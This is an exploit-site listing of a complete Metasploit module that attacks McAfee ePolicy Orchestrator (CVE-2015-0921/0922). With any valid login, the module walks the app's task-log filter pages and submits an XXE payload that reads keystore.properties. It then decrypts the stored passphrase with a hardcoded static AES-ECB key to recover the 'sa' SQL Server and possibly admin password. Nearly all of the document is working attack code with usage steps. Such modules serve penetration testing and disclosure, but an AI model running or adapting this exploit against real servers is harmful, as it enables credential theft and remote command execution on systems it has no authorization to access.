McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure Exploit

2015-01-20T00:00:00
ID 1337DAY-ID-23158
Type zdt
Reporter Brandon Perry
Modified 2015-01-20T00:00:00

Description

This module will exploit an authenticated XXE vulnerability to read the keystore.properties off of the filesystem. This properties file contains an encrypted password that is set during installation. What is interesting about this password is that it is set as the same password as the database 'sa' user and of the admin user created during installation. This password is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default, if installed with a local SQL Server instance, the SQL server is listening on all interfaces. Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server user in order to achieve remote command execution with permissions of the database process. If the administrator has no changed the password for the initially created account since installation, the attacker also now has the password for this account. By default, 'admin' is recommended. Any user account can be used to exploit this, all that is needed is a pair of credentials. The most data that can be successfully retrieved is 255 characters due to length restrictions on the field used to perform the XXE attack.#### Usage Info msf > use auxiliary/gather/mcafee_epo_xxe msf auxiliary(mcafee_epo_xxe) > show actions ...actions... msf auxiliary(mcafee_epo_xxe) > set ACTION <action-name> msf auxiliary(mcafee_epo_xxe) > show options ...show and set options... msf auxiliary(mcafee_epo_xxe) > run

                                        
                                            ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'openssl'
class Metasploit3 &lt; Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' =&gt; 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure',
'Description' =&gt; %q{
This module will exploit an authenticated XXE vulnerability to read the keystore.properties
off of the filesystem. This properties file contains an encrypted password that is set during
installation. What is interesting about this password is that it is set as the same password
as the database 'sa' user and of the admin user created during installation. This password
is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default,
if installed with a local SQL Server instance, the SQL server is listening on all interfaces.
Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server
user in order to achieve remote command execution with permissions of the database process. If
the administrator has no changed the password for the initially created account since installation,
the attacker also now has the password for this account. By default, 'admin' is recommended.
Any user account can be used to exploit this, all that is needed is a pair of credentials.
The most data that can be successfully retrieved is 255 characters due to length restrictions
on the field used to perform the XXE attack.
},
'License' =&gt; MSF_LICENSE,
'Author' =&gt;
[
'Brandon Perry &lt;bperry.volatile[at]gmail.com&gt;' #metasploit module
],
'References' =&gt;
[
['CVE', '2015-0921'],
['CVE', '2015-0922'],
['URL', 'http://seclists.org/fulldisclosure/2015/Jan/8']
],
'DisclosureDate' =&gt; 'Jan 6 2015'
))
register_options(
[
Opt::RPORT(8443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']),
OptString.new('USERNAME', [true, "The username to authenticate with", "username"]),
OptString.new('PASSWORD', [true, "The password to authenticate with", "password"])
], self.class)
end
def run
key = "\x5E\x9C\x3E\xDF\xE6\x25\x84\x36\x66\x21\x93\x80\x31\x5A\x29\x33" #static key used
aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk
aes.decrypt
aes.padding=1
aes.key = key
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do')
})
unless res
fail_with(Failure::Unknown, "Server did not respond in an expected way")
end
cookie = res.get_cookies
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'core', 'j_security_check'),
'method' =&gt; 'POST',
'vars_post' =&gt; {
'j_username' =&gt; datastore['USERNAME'],
'j_password' =&gt; datastore['PASSWORD']
},
'cookie' =&gt; cookie
})
unless res
fail_with(Failure::Unknown, "Server did not respond in an expected way")
end
cookie = res.get_cookies
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'),
'cookie' =&gt; cookie
})
unless res
fail_with(Failure::Unknown, "Server did not respond in an expected way")
end
if res.code != 302
fail_with(Failure::Unknown, 'Authentication failed')
end
cookie = res.get_cookies
#This vuln requires a bit of setup before we can exploit it
print_status("Setting up environment for exploitation")
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'),
'cookie' =&gt; cookie
})
unless res
fail_with(Failure::Unknown, "Server did not respond in an expected way")
end
auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/&gt;/
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'core', 'orionTab.do'),
'vars_get' =&gt; {
'sectionId' =&gt; 'orion.automation',
'tabId' =&gt; 'orion.tasklog',
'orion.user.security.token' =&gt; auth_token
},
'cookie' =&gt; cookie
})
unless res
fail_with(Failure::Unknown, "Server did not respond in an expected way")
end
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'core', 'loadTableData.do'),
'vars_get' =&gt; {
'datasourceAttr' =&gt; 'scheduler.tasklog.datasource.attr',
'filter' =&gt; 'scheduler.tasklog.filter.day',
'secondaryFilter' =&gt; '',
'tableCellRendererAttr' =&gt; 'taskLogCellRenderer',
'count' =&gt; 44,
'sortProperty' =&gt; 'OrionTaskLogTask.StartDate',
'sortOrder' =&gt; 1,
'id' =&gt; 'taskLogTable'
},
'cookie' =&gt; cookie
})
unless res
fail_with(Failure::Unknown, "Server did not respond in an expected way")
end
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),
'vars_get' =&gt; {
'datasourceAttr' =&gt; 'scheduler.tasklog.datasource.attr',
'tableId' =&gt; 'taskLogTable',
'orion.user.security.token' =&gt; auth_token
},
'cookie' =&gt; cookie
})
unless res
fail_with(Failure::Unknown, "Server did not respond in an expected way")
end
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'),
'method' =&gt; 'POST',
'vars_post' =&gt; {
'dataSourceAttr' =&gt; 'scheduler.tasklog.datasource.attr',
'tableId' =&gt; 'taskLogTable',
'columnWidths' =&gt; '285,285,285,285,285,285,285,285',
'sortColumn' =&gt; 'OrionTaskLogTask.StartDate',
'sortOrder' =&gt; '1',
'showFilters' =&gt; 'true',
'currentIndex' =&gt; 0,
'orion.user.security.token' =&gt; auth_token,
'ajaxMode' =&gt; 'standard'
},
'cookie' =&gt; cookie
})
unless res
fail_with(Failure::Unknown, "Server did not respond in an expected way")
end
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'),
'method' =&gt; 'POST',
'vars_post' =&gt; {
'displayType' =&gt; 'text_lookup',
'operator' =&gt; 'eq',
'propKey' =&gt; 'OrionTaskLogTask.Name',
'instanceId' =&gt; 0,
'orion.user.security.token' =&gt; auth_token,
'ajaxMode' =&gt; 'standard'
},
'cookie' =&gt; cookie
})
print_status("Sending payload...")
filepath = "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties"
xxe = '&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;&lt;!DOCTYPE foo [&lt;!ELEMENT foo ANY &gt;&lt;!ENTITY xxe SYSTEM "file:///'+filepath+'" &gt;]&gt;&lt;conditions&gt;&lt;condition grouping="or"&gt;&lt;prop-key&gt;OrionTaskLogTaskMessage.Message&lt;/prop-key&gt;&lt;op-key&gt;eq&lt;/op-key&gt;&lt;value&gt;&xxe;&lt;/value&gt;&lt;/condition&gt;&lt;/conditions&gt;'
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'),
'method' =&gt; 'POST',
'vars_post' =&gt; {
'orion.user.security.token' =&gt; auth_token,
'datasourceAttr' =&gt; 'scheduler.tasklog.datasource.attr',
'tableId' =&gt; 'taskLogTable',
'conditionXML' =&gt; xxe,
'secondaryFilter' =&gt; '',
'op' =&gt; 'eq',
'ajaxMode' =&gt; 'standard'
},
'cookie' =&gt; cookie
})
unless res
fail_with(Failure::Unknown, "Server did not respond in an expected way")
end
if res.code == 404
fail_with(Failure::Unknown, "Server likely has mitigation in place")
end
print_status("Getting encrypted passphrase value from keystore.properties file...")
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),
'vars_get' =&gt; {
'datasourceAttr' =&gt; 'scheduler.tasklog.datasource.attr',
'tableId' =&gt; 'taskLogTable',
'orion.user.security.token' =&gt; auth_token
},
'cookie' =&gt; cookie
})
unless res
fail_with(Failure::Unknown, "Server did not respond in an expected way")
end
passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/
passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+")
print_status("Base64 encoded encrypted passphrase: #{passphrase}")
passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final
print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: #{passphrase}")
end


#  0day.today [2016-04-19]  #